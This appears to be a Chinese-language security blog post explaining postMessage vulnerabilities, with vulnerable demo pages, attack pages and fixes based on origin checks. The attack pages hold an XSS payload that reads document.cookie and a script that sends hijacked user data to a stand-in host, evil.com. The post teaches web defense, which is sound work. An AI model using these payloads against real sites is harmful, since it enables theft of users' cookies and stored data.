0x00 介绍
postMessage是html5新增的一个解决跨域的方法,主要解决不同源的脚本采用异步方式进行有限的通信,可以实现跨文本档、多窗口、跨域消息传递,多用于页面与嵌套的iframe消息传递。由于默认允许跨域,所以导致一些安全问题,主要攻击方式有两种,一是伪造数据发送端,易造成XSS,二是伪造数据获取端,类似JSONP劫持。
0x01 伪造数据发送端
1. Demo
以下面Demo进行测试分析
child.html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Web page from child.com</title>
<script type="text/JavaScript">
//event 参数中有 data 属性,就是父窗口发送过来的数据
window.addEventListener("message", function( event ) {
// 把父窗口发送过来的数据显示在子窗口中
document.getElementById("content").innerHTML+=event.data + "origin: " + event.origin+"<br/>";
}, false );
</script>
</head>
<body>
Web page from http://p1.com
<div id="content"></div>
</body>
</html>
child.html
接受任意窗口的消息,并对消息进行输出。
2. 攻击测试
attack.html
<iframe src="http://p1.com/postmessage/child.html" id="otherPage"></iframe>
<script type="text/JavaScript">
var i = document.getElementById("otherPage");
i.onload = function(){
i.contentWindow .postMessage("<img src=x onerror='alert(document.cookie);'", "*");
}
</script>
攻击者将attack.html放于自己的vps上,诱导用户点击,便可触发xss攻击。
3. 原理分析
正常情况下,父窗口中发送的消息为用户不可控消息,此时不存在漏洞,但是子窗口接受父窗口的消息时未对父窗口来源进行限制,并且对父窗口的消息进行输出,所以黑客可伪造父窗口,给子窗口发送有效攻击载荷,从而触发漏洞。
该处风险不仅限于XSS
,如订单支付时由父窗口传输订单详情,子窗口处理支付流程,黑客篡改订单详情,使用户支付了本不属于自己的订单,这种场景也不无可能。
4. 安全应对方案
应对父窗口的来源进行判断,只接受可信父窗口传输的数据。
实例:
<script type="text/JavaScript">
//event 参数中有 data 属性,就是父窗口发送过来的数据
onmessage = function( event ) {
if(event.origin == 'http://p1.com'){
/*
to do something
*/
}
};
</script>
0x02 伪造数据接收端
1. Demo
以下面Demo进行测试分析
child.html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>User info center</title>
<script type="text/JavaScript">
var userinfo=localStorage.getItem("userinfo");
window.parent.postMessage(userinfo, "*");
</script>
</head>
<body>
Web page from http://p1.com
</body>
</html>
child.html
可以给任意父窗口发送信息。
2. 攻击测试
attack.html
<script type="text/JavaScript">
onmessage = function( event ) {
if(event.origin == "http://p1.com"){
var img=new Image();
img.src='http://evil.com/?userinfo='+event.data;
document.getElementById("otherPage").appendChild(img);
}
};
</script>
<iframe src="http://p1.com/postmessage/child1.html" id="otherPage"></iframe>
攻击者将attack.html放于自己的vps上,诱导用户点击,用户点击后在evil.com
上便可收到用户的敏感信息。
3. 原理分析
postMessage()
接受两个参数,第一个参数为向另外一个窗口传递的数据(只能传字符串类型),第二个参数表示目标窗口的源,协议+主机+端口号,是为了安全考虑,如果设置为*
,则表示可以传递给任意窗口。所以黑客可以伪造父窗口,从而劫持子窗口存储的用户信息。
4. 安全应对方案
合理配置postMessage()
第二个参数,不贪图方便使用*
配置,严格限制父窗口来源。
实例:
<script type="text/JavaScript">
var userinfo=localStorage.getItem("userinfo");
window.parent.postMessage(userinfo, "http://p0.com"); // 限制只能给http://p0.com窗口发送数据
</script>
著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:p0
链接:https://p0sec.net/index.php/archives/124/
来源:https://p0sec.net/